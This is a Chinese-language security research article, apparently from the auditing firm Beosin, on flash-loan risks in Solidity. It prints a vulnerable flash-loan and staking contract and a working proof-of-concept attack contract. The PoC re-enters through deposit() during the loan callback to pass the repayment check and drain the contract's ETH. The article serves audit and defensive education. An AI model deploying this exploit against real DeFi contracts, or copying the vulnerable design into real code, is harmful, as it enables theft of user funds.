Solidity語言閃電貸安全風險研究

2023-11-08 16:11:05

來源：Beosin

雖然各種閃電貸項目的實現思路都大同小異，但是小小的不同也可能會導致嚴重的安全隱患。接下來的幾篇文章，我們將陸續介紹Solidity、Move以及Rust語言閃電貸實現需要注意的問題以及解決辦法。

今天我們先來介紹Solidity語言閃電貸需要注意的問題。

Solidity閃電貸設計中，大部分項目會通過檢查自身余額來判斷調用者是否歸還資金。單獨看該方式是沒有問題的，因為無論調用者借錢後會進行什么操作，最終都能保證合約自身資金安全。但大多閃電貸項目都不會只提供一個閃電貸功能，合約中還會存在其他業務函數，如果其他函數中有對合約余額產生影響的業務，便可能存在嚴重的安全隱患。

注： 以下代碼僅做為閃電貸安全問題研究代碼，不排除存在其他安全問題

下列代碼是一個簡單的閃電貸示例合約，主要由兩個部分組成：

第一個部分是閃電貸的功能， 首先記錄一個借出前合約所擁有的ETH數量，在借出ETH的同時，會調用調用者指定合約的指定函數，最後判斷本合約擁有的ETH數量是否大於等於借出之前的ETH數量加上1/100的手續費。

第二個部分便是提供閃電貸流動性的質押功能， 用戶可以將ETH質押到閃電貸合約，通過閃電貸收取的手續費來賺取收益。

但是該合約中存在一個非常常見的重入漏洞，可以使得調用者在抵押的同時繞過閃電貸最終檢查。

pragma solidity ^0.8.0;
contract loan {
    string public  name="lp_Loan";    string public  symbol="LL";    uint256 public totalSupply;    mapping(address => uint256) public _balance;
    event Transfer(address indexed from, address indexed to, uint256 value);
    constructor() {    }
    function balanceOf(address owner) public view returns (uint256) {        return _balance[owner];    }
    function _mint(uint256 amount) internal {        _balance[msg.sender] = _balance[msg.sender] + amount;        totalSupply+=amount;        emit Transfer(address(0), msg.sender, amount);    }
    function _burn(uint256 amount) internal {        _balance[msg.sender] = _balance[msg.sender] - amount;        totalSupply = totalSupply - amount;        emit Transfer(msg.sender, address(0), amount);}//抵押ETH，獲得憑證幣    function deposit() public payable returns(uint256){        uint256 value=address(this).balance - msg.value;        uint256 mint_amount;        if(totalSupply==0){            mint_amount=msg.value;        }        else{            mint_amount=msg.value*totalSupply/value;        }        _mint(mint_amount);        return mint_amount;    }//提取ETH，銷毀憑證幣    function withdrew(uint256 amount) public returns(uint256){        uint256 value=address(this).balance;        uint256 send_amount;        send_amount = amount * value / totalSupply;        _burn(amount);        payable(msg.sender).call{value:send_amount}("");        return send_amount;}//閃電貸    function flash_loan(uint256 amountOut, address to, bytes calldata data) external {        uint256 value=address(this).balance;        require(amountOut <= value);        //發送借款並調用目標合約        payable(to).call{value:amountOut}(data);        value=value/100+value;        //還款檢查，收取1%手續費（真實項目可能不會這么高）        require(address(this).balance>=value);    }
    receive() external payable { }}

接下來我們使用以下PoC代碼針對上述閃電貸項目進行攻擊測試， 主要思路是利用閃電貸的回調函數進行重入攻擊，可將正常的業務行為覆蓋為還款行為，最終掏空閃電貸合約的ETH。

首先調用PoC合約的start()函數，函數將發起閃電貸。借貸金額為閃電貸合約的ETH余額減一，該步驟是為了後續deposit()的時候不會導致計算錯誤，傳入back()函數做為回調參數。

然後在back()函數中，將借貸的ETH再加些許手續費抵押進閃電貸合約，會給PoC合約鑄造憑證代幣。back()函數結束時，閃電貸合約會檢查還款情況，由於抵押時更新了ETH余額，所以檢查將通過。最後PoC合約再利用憑證幣將ETH提取出來。

pragma solidity ^0.8.0;
interface loan {    function flash_loan(uint256 amountOut, address to, bytes calldata data) external;    function withdrew(uint256 amount) external returns(uint256);    function deposit() external payable returns(uint256);}contract poc {    address public owner;    address _loan;    loan i_loan;    uint256 mint_amount;    constructor(address loan_){        owner=msg.sender;        _loan=loan_;        i_loan=loan(loan_);    }    function start() public {        uint256 value_first = address(this).balance;        //發起閃電貸        i_loan.flash_loan(_loan.balance-1,address(this),abi.encodePacked(bytes4(keccak256("back()"))));        //提取ETH        i_loan.withdrew(mint_amount);        //判斷是否產生收益        require(address(this).balance > value_first);    }
function back() public payable {    //閃電貸回調，質押ETH（此處並非一定質押102%的ETH，但必須超過101%）        mint_amount = i_loan.deposit{value:(msg.value*102/100)}();    }
    receive() external payable { }
    function getEth() external  {        payable(owner).transfer(address(this).balance);    }}